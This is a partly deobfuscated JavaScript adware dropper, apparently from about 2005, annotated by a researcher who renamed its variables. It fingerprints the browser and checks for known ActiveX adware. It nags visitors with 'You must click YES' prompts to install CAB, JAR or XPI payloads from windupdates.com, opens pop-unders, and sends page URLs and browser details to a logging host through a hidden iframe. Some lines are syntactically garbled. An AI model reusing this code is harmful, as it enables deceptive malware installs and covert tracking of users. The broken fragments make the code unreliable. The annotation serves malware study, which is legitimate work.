// This code is the result of a various decoding cycles and a lot of manual digging // Not everything has been decoded, but large parts are. If you want to do some yourself, // use the _dC function below. // Variables and functions that I could recognise have been replaces with a more meaningfull name // always starting with a lowercase "g". E.g.: gLoopIndex // Good Hunting. ObiJan 04/11/05 function _dC(s) { var i; var r = ""; var l = s.length - 1; var k = s.substr(l, 1); for (i = 0; i < l; i++) { c = s.charCodeAt(i) - k; if (c < 32) { c = 127 - (32 - c); } r += String.fromCharCode(c); } return r; } var gLoopIndex; var gExeptionCatcher; var _o8U = false; var _g3Z = true; var _o8V = false; var _z2A = false; var _a6T = 0; var _r4F = _l0D(_dC("!rw\"y9"), _dC("{x:8"), false); var _h8K = new Date(); var _w3G = false; var _p2U = Object(); var _y1U = 0; var _u2Z = "Internet Explorer"; var gURLForLogging = "http://public.windupdates.com/logging.php"; var gURLForPopUnder = "http://public.windupdates.com/pop_under.php"; var _q7M = false; var _h8N = false; var _j9F = false; var _n2J = false; var _g8H = false; var _m8G = false; var _u5P = false; var _z2U = false; var _c3V = ''; var _l2F = ''; var gCookieDaysToLiveDefault = 0.003; var _g5I; var _f3K; var gNoticeTextEncoded = "noticeText=You+must+follow+steps+1%2C+2+and+3+to+access+this+webpage&retryMsg=You+must+follow+steps+1%2C+2+and+3+to+access+this+webpage&siteName=Website+Access_______+Click+YES+-+If+you+agree+to+...&sitePublisher=CDT"; var gURLForCABFile= "http://static.windupdates.com/cab/CDT/ie/Bridge-c139.cab"; //_p0G var gURLForJARFile = "http://static.windupdates.com/cab/CDT/java/bridge.jar"; //_m5H var gURLForXPIFile = "http://static.windupdates.com/cab/CDT/xpi/install.xpi"; //_j9L //_-f3W var gReallyLongUniqueCode = "023923bac8293feb741b645ebdb4ddd20ee6ecd7436834703e7965fcde6289fabf69fe:6462323037623666393338393031313131316638613666363635346437663338"; var _z0Q=4;var _p5R=0; var _p3Y=0; var _z4X=1;var _k4I=0;var _d6O=1; var _m1I=1; _y1U=_z0Q; _t8R(); _g5I=escape(navigator.name)+":"+escape(navigator.version)+":"+escape(navigator.os); if(_r4F){_g5I+=":flash";} else {_g5I+=(":javascript");} gURLForPopUnder+= "?p="+gReallyLongUniqueCode; gURLForLogging+= "?p=" + gReallyLongUniqueCode + _dC("-iD7") + _g5I + _dC("/|F9") + escape(document.location.href.substr(0, 250)); document.write(""); var _n1L; if (!_r4F && navigator.os != "winnet") { _n1L = new RegExp("/(MusicUnlimited|DownloadsUnlimited|GamesUnlimited|AgeVerifier|DownloadAccess|AdultAccess|MusicAccess|MediaAccess|WebsiteAccess|CDT)/"); gURLForCABFile = gURLForCABFile.replace(_n1L, ("/6247971CanadaInc/")); } else { _n1L = new RegExp("/MusicUnlimited/"); gURLForCABFile = gURLForCABFile.replace(_n1L, "/MusicAccess/"); _n1L = new RegExp("/(DownloadsUnlimitedW|GamesUnlimited)/s"); gURLForCABFile = gURLForCABFile.replace(_n1L, _dC("/DownloadAccess/")); _n1L = new RegExp(("/AgeVerifier/")); gURLForCABFile = gURLForCABFile.replace(_n1L, ("/AdultAccess/")); } if (_q7M) { if (gGetCookie("adId")) { gDeleteCookie("adId"); } if (_r4F) { if (gGetCookie("sp2_help") == null && gGetCookie("sp2_help_retry") == null) { _h8N = false; } else { _h8N = true; } if (!gIsSomeActiveXInstalled()) { _r1K(); } } else { _h8N = false; } _e2P(); } if (_r4F && (!gGetCookie("adId") || !_p3Y) && !gIsSomeActiveXInstalled()) { if (window == window.top) { _a4K(); if (_z4X == 1) { _r1K(); } } } if ((!gGetCookie("adId") || !_p3Y) && !gIsSomeActiveXInstalled()) { if ((_p3Y != 0 && !_r4F) || (_r4F && gGetCookie("sp2_help") != null && gGetCookie("sp2_help_retry") == 0 && _p3Y != 0)) { gSetCookie("adId", 1, _p3Y); } if ("onload" == "onload" && _p5R == 0 && _z4X == 0) { _g1R(false); } else if ("onload" == "onload" && _p5R == 0 && _z4X == 1) { if (_r4F && gGetCookie("sp2_help_retry") != 0 || (gGetCookie("sp2_help") == null && gGetCookie("sp2_help_retry") == 0)) { try { document.execCommand("Stop"); } catch (gExeptionCatcher) { } } _g1R(true); } else if ("onload" == "onload" && _p5R > 0) { setTimeout("_g1R(false);", _p5R * 1000); } } if (_r4F && gGetCookie("sp2_help") == null) { _r1H(); } if ("yes" == 'yes') { if (!_r4F) { _n2J = _o4K(); } if (!_n2J) { try { window.addEventListener("load", _a9K, false); } catch (gExeptionCatcher) { try { window.attachEvent("onload", _a9K); } catch (gExeptionCatcher) { } } } } function gIsSomeActiveXInstalled() { var gActiveXNamesArray = Array("bridgex", "winadx", "SyncroAdX", "WinCommX", _"WinAdToolsX", _dC("[mrEhGxp\\4"), _dC("XjoUbtlBeY1"), _dC("XjoBeTfswY1"), _dC("`rwL}uJma9"), _dC("XjoTfswBeY1"), _dC("Iluqttq[mz~`8"), _dC("FgumCfZ2"), _dC("GjSgtIzr^6"), _dC("FiXyfyXjw{]5"), _dC("XjoTubuY1"), _dC("^puMvyt_7"), _dC("FiYttqx]5"), _dC("SuhyDg[3"), _dC("VnmrjYj||a9"), _dC("QihmeEgg\\4")); for (gLoopIndex in gActiveXNamesArray) { try { if (new ActiveXObject(gActiveXNamesArray[gLoopIndex] + ".installer")) { return true; } } catch (gExeptionCatcher) { } } return false; } function _s7E() { try { gDeleteCookie("sp2_help_retry"); gDeleteCookie("sp2_help"); gDeleteCookie("adId"); if (gIsSomeActiveXInstalled()) { alert("Click OK to play the content."); } window.location.reload(); } catch (gExeptionCatcher) { } } function _h9O() { if (_q7M) { _s7E(); } else { var gTempSP2RetryCount = gGetCookie("sp2_help_retry"); if (gTempSP2RetryCount != null && gTempSP2RetryCount > 0) { gDeleteCookie("sp2_help"); if (gTempSP2RetryCount >= 1) { gSetCookie("sp2_help_retry", gTempSP2RetryCount - 1, gCookieDaysToLiveDefault); } else { gDeleteCookie("sp2_help_retry"); if (_p3Y != 0) { gSetCookie("adId", 1, _p3Y); } } } if (_z4X == 1) { window.location.reload(); } else { var gTempHiddenWebPageElement = document.getElementById("sp2hb"); gTempHiddenWebPageElement.style.visibility = "hidden"; gTempHiddenWebPageElement.innerHTML = ''; } } } function _r1K() { if (gIsSomeActiveXInstalled()) { if (_q7M) { _s7E(); return; } _h9O(); } else { setTimeout("_r1K();", 100); } } function _l0D(_f3I, _d3J, _y3R) { var _m8G = ("other"); var _u5V = ("release"); var gUserAgentStr = navigator.userAgent.toLowerCase(); var gTempNavigatorMinVer = ''; var gOSNamesArray = { win95: "windows 95", win98: _dC("zlqgrzv#<;3"), winme: _dC("xjo:y!5/:11"), win2000: _dC("|nsit|x%sy%:355"), winxp: _dC("~pukv~z'u{'<587"), winnet: _dC("zlqgrzv#qw#8153"), winnt: _dC("ykpfqyu\"pv2"), linux: _dC("nkpwz2"), macosx: _dC("rfh%tx%}5"), macppc: "mac 9." }; var _l8N = _dC("tq1"); if (navigator.appMinorVersion) { gTempNavigatorMinVer = navigator.appMinorVersion.toLowerCase(); for (gLoopIndex = 1; gLoopIndex < 5; gLoopIndex++) { if (gTempNavigatorMinVer.indexOf(_l8N + gLoopIndex + ";") != -1) { _u5V = _l8N + gLoopIndex; break; } } } for (gLoopIndex in gOSNamesArray) { if (gUserAgentStr.indexOf(gLoopIndex) != -1 || gUserAgentStr.indexOf(gOSNamesArray[gLoopIndex]) != -1) { _m8G = gLoopIndex; break; } } if (_y3R == true) { return _m8G; } else { if (_m8G == _f3I && _u5V == _d3J) { return true; } else { return false; } } } function _n7P(_j1L) { var _x6G = Array(_dC("%5"), _dC("s5"), _dC("x6")); while ((_j1L.substr(0, 1) == _x6G[0]) || (_j1L.substr(0, 1) == _x6G[1]) || (_j1L.substr(0, 1) == _x6G[2])) { _j1L = _j1L.substr(1, _j1L.length); } while ((_j1L.substr(_j1L.length - 1, _j1L.length) == _x6G[0]) || (_j1L.substr(_j1L.length - 1, _j1L.length) == _x6G[1]) || (_j1L.substr(_j1L.length - 1, _j1L.length) == _dC("y7"))) { _j1L = _j1L.substr(0, _j1L.length - 1); } return _j1L; } function _t2B(_a2K) { if (_a2K == "Microsoft " + _u2Z) { return _u2Z; } else { return _a2K; } } function _t8R() { var gTempUserAgent = navigator.userAgent; var _e4S = Array(); var gTempUserAgentParts; var gTempUserAgentPartsSub2; var _k6I; var _u3P; var _f3Y; var _v7U; var _h4V; var _v3X; var _r4X; var _m3Q; navigator.version = false; navigator.name = false; gTempUserAgentParts = gTempUserAgent.split("("); _k6I = gTempUserAgentParts[0]; gTempUserAgentPartsSub2 = gTempUserAgentParts[1].split(")"); _u3P = gTempUserAgentPartsSub2[0]; _f3Y = gTempUserAgentPartsSub2[1]; _v7U = _u3P.split(_dC("@5")); _z2U = _v7U[1]; navigator.os = _l0D('', '', true); if (_n7P(_k6I) == "Mozilla/4.0")) { if (_t2B(navigator.appName) == _u2Z && _n7P(_f3Y).indexOf("Opera") != -1) { _h4V = _n7P(_f3Y).split(_dC("$4")); navigator.version = _h4V[1]; navigator.name = _h4V[0]; } else { _h4V = _n7P(_z2U).split(_dC("$4")); navigator.version = _h4V[1] + _dC("$4") + navigator.appMinorVersion.replace(/\;/gi, ''); if (_v7U[3] != null && _v7U[3].indexOf(_dC("NTO1"))) { navigator.version += '(' + _n7P(_v7U[3].replace(/MSN/gi, "MSN Explorer")) + ")"); } navigator.name = _t2B(navigator.appName); } } if (_n7P(_k6I) == "Mozilla/5.0") { _v3X = _n7P(_f3Y).split(_dC("%5")); _r4X = gTempUserAgentPartsSub2[0].split(_dC(">3")); if (_v3X[1]) { _h4V = _v3X[1].split(_dC("01")); navigator.version = _h4V[1]; navigator.name = _t2B(_n7P(_h4V[0])); } else { _m3Q = _r4X[4].split(_dC("?5")); navigator.version = _m3Q[1]; navigator.name = "Mozilla"; } } if (navigator.version == false || navigator.name == false) { navigator.version = _dC("w|pmz8"); navigator.name = navigator.version; } } function _d4W() { try { if (_r4F) { var _u9F = gGetCookie("sp2_help"); var gTempSP2RetryCount = gGetCookie("sp2_help_retry"); if (_u9F == null) { gSetCookie("sp2_help", "true", gCookieDaysToLiveDefault); if (gTempSP2RetryCount == null) { if (_z0Q > 0) { _z0Q = 1; } gSetCookie("sp2_help_retry", _z0Q, gCookieDaysToLiveDefault); } _s6N(); return false; } if (gTempSP2RetryCount > 0) { gSetCookie("sp2_help_retry", gTempSP2RetryCount - 1, gCookieDaysToLiveDefault); gDeleteCookie("sp2_help"); window.location.reload(); } else { if (_q7M) { _s7E(); } return false; } return false; } if (_y1U > 0) { if (_k4I != 1) { if (_d6O == 1) { if (!confirm("You must click YES to continue")) { if (_m1I == 1) { _a6T = 1; } else { _a6T = 0; } } } else { alert("You must click YES to continue"); } } --_y1U; _g1R(false); } else if (_q7M) { _s7E(); return; } } catch (gExeptionCatcher) { } } function _y9G(_w7G) { try { var _y5D = ''; var _u4B; if (_w7G) { _u4B = ("onError='setTimeout("window.parent._d4W();",700);'"); _y5D += ("
"); } else { _u4B = _dC("poFssps>(`n2O)#`e5X)*<#-311*<(1"); } _y5D += _dC("=pckfdu!1") + _u4B + _dC("${mhxlA5$limklxA5$gpewwmhA+gpwmh>4") + "15AD6789-CDB4-47E1-A9DA-992EE8E6BAD6" + _dC(".'jvklihzlD.7") + gURLForCABFile + _dC("*A3"); _y5D += _dC("Aufwfr%sfrjB,ufwfr,%{fqzjB,5") + gReallyLongUniqueCode + _dC("@6") + _g5I + _dC("+B4"); _y5D += _dC(">1qdlgev@2"); if (_w7G == true) { _y5D += _dC(">1dqf{@>1jvon@2"); } return _y5D; } catch (gExeptionCatcher) { return ''; } } function _h1Z(_l9H, _r2B) { if (_r2B != 0) { if (window._d4W) { _d4W(); } } } function gGetInstallTriggerHTML() { return ''; var gTempString = ''; gTempString = "if(InstallTrigger.updateEnabled(){"; gTempString += "InstallTrigger.install({'Free Access Plugin' : '" + gURLForXPIFile + ("'},_h1Z);"; gTempString += "} else { setTimeout("window.my_dm.document.location.href='") + gURLForXPIFile + "(\"'\",100);}"; return gTempString; } function _g1R(_r3R) { var _n6Z = false; var _q5D = false; var _r6H = false; if (_r3R == null) { _r3R = false; } if (_q7M && !_h8N) { return; } try { if (_a6T == 0) { if (navigator.name == _u2Z) { _r6H = _y9G(!_r3R); if (_r3R) { _q5D = document; } else { _n6Z = document.getElementById(_dC("u\"glu8")); if (_n6Z) { try { _q5D = my_dm.document; } catch (gExeptionCatcher) { try { _q5D = _n6Z.document; } catch (gExeptionCatcher) { try { _q5D = _n6Z.contentWindow.document; } catch (gExeptionCatcher) { } } } } } if (_q5D) { _q5D.write(_r6H); if (!_r3R) { _q5D.close(); } } } else if (navigator.name == "FireFox" || navigator.name == "Mozilla") { eval(gGetInstallTriggerHTML()); } } } catch (gExeptionCatcher) { } _x9C(); } function gDeleteCookie(gCookieName) { gSetCookie(gCookieName, true, -1); } function gSetCookie(gCookieName, gCookieValue, gCookieDays) { var gCookieExpiry = ''; var gTempDate = new Date(); if (gCookieDays) { gTempDate.setTime(gTempDate.getTime() + (24 * 60 * 60 * 1000 * gCookieDays)); gCookieExpiry = _"expires=" + gTempDate.toGMTString() + ";"; } document.cookie = gCookieName + "=" + escape(gCookieValue) + ";" + gCookieExpiry; } function gGetCookie(gCookieName) { var gTempCookiePartsArray = false; var gTempCookieArray = document.cookie.split(";"); for (gLoopIndex = 0; gLoopIndex < gTempCookieArray.length; gLoopIndex++) { gTempCookiePartsArray = gTempCookieArray[gLoopIndex].split("="); if (gCookieName == gTempCookiePartsArray[0]) { return unescape(gTempCookiePartsArray[1]); } } return null; } function _a9K() { var _y5N = document.getElementsByTagName('body'); for (gLoopIndex = 0; gLoopIndex < _y5N.length; gLoopIndex++) { try { _y5N[gLoopIndex].attachEvent(_dC("podmjdl1"), _o4K); } catch (gExeptionCatcher) { try { _y5N[gLoopIndex].addEventListener(_dC("folfn3"), _o4K, true); } catch (gExeptionCatcher) { } } } } function _o4K() { if (!_o8U) { var _l4V = window.open(gURLForPopUnder, _dC("hkujwt9"), _dC("{mhxlA40limklxA40xsspfevArs0wxexywArs0wgvsppfevwArs0viwm~efpiArs0hmvigxsvmiwArs4")); if (_l4V != null) { _o8U = true; _l4V.blur(); window.top.focus(); return _l4V; } } return false; } function _x9C() { if (_g8H) { return false; } var _g2H = document.createElement("iframe"); _g2H.setAttribute(_dC("xjeui1"), 0); _g2H.setAttribute(_dC("khljkw3"), 0); _g2H.setAttribute(_dC("tuzmf1"), "visibility:hidden"); _g2H.setAttribute(_dC("tsd1"), gURLForLogging); var _n4Z = document.getElementsByTagName('body'); if (_n4Z.length > 0) { _n4Z[0].appendChild(_g2H); _g8H = true; } } function _s6N() { if (document.getElementById("sp2hb")) { document.getElementById("sp2hb").style.visibility = "visible"; } else { setTimeout("_s6N();", 100); } } function _r1H() { var _b0U = document.getElementById("sp2hb"); var _w9P = document.getElementsByTagName('body'); if (_f3K && _b0U && _w9P.length) { _b0U.innerHTML = _f3K; var _i4W = _w9P[0].offsetWidth; var _j1R = _w9P[0].offsetHeight; if (_i4W < 767) { window.resizeBy(767 - _i4W, 0); } if (_j1R < 508) { window.resizeBy(0, 508 - _j1R); } } else { setTimeout("_r1H();", 100); } } function gGetSomeWMPRelatedHandle() // _l5F { if (typeof lc_protect_wmp_id == "undefined") { lc_protect_wmp_id = "LCMediaPlayer"; } try { return document.getElementById(lc_protect_wmp_id); } catch (gExeptionCatcher) { return null; } } function gGetMediaPlayerHandle() // _i0C { try { return document.getElementById('__wmp__'); } catch (gExeptionCatcher) { return null; } } function _e2P() { if (_h8N) { return false; } try { if (!_j9F) { gOpenMediaPlayerWithFile(); } else { var gTempMediaPlayerHandle = gGetMediaPlayerHandle(); if (gTempMediaPlayerHandle != null && typeof gTempMediaPlayerHandle.playState != "undefined") { if (typeof lc_protect_delay != "undefined") { if (gTempMediaPlayerHandle.playState == 3) { setTimeout("_c0L();", lc_protect_delay * 1000); _h8N = true; return true; } } } } setTimeout("_e2P();", 500); } catch (gExeptionCatcher) { } } function gOpenMediaPlayerWithFile() { if (typeof lc_protect_wmp_file == "undefined") { alert('You must provide a lc_protect_wmp_file'); return false; } else { var _x5N = gGetSomeWMPRelatedHandle(); if (_x5N != null) { if (typeof lc_protect_wmp_file_width == "undefined") { lc_protect_wmp_file_width = 300; } if (typeof lc_protect_wmp_file_height == "undefined") { lc_protect_wmp_file_height = 250; } __obj = ""; _x5N.innerHTML = __obj; _j9F = true; } } } function _c0L() { try { if (gIsSomeActiveXInstalled()) { return true; } else { setTimeout(("_r1K();"), 500); } _x5N = gGetSomeWMPRelatedHandle(); _x5N.innerHTML = 'Install the ActiveX to get the full version for free'; _g1R(false); } catch (gExeptionCatcher) { } } function _a4K() { var _j2I = ""; _j2I += _dC(""); _v2Q.write(_j2I); _f3K = ("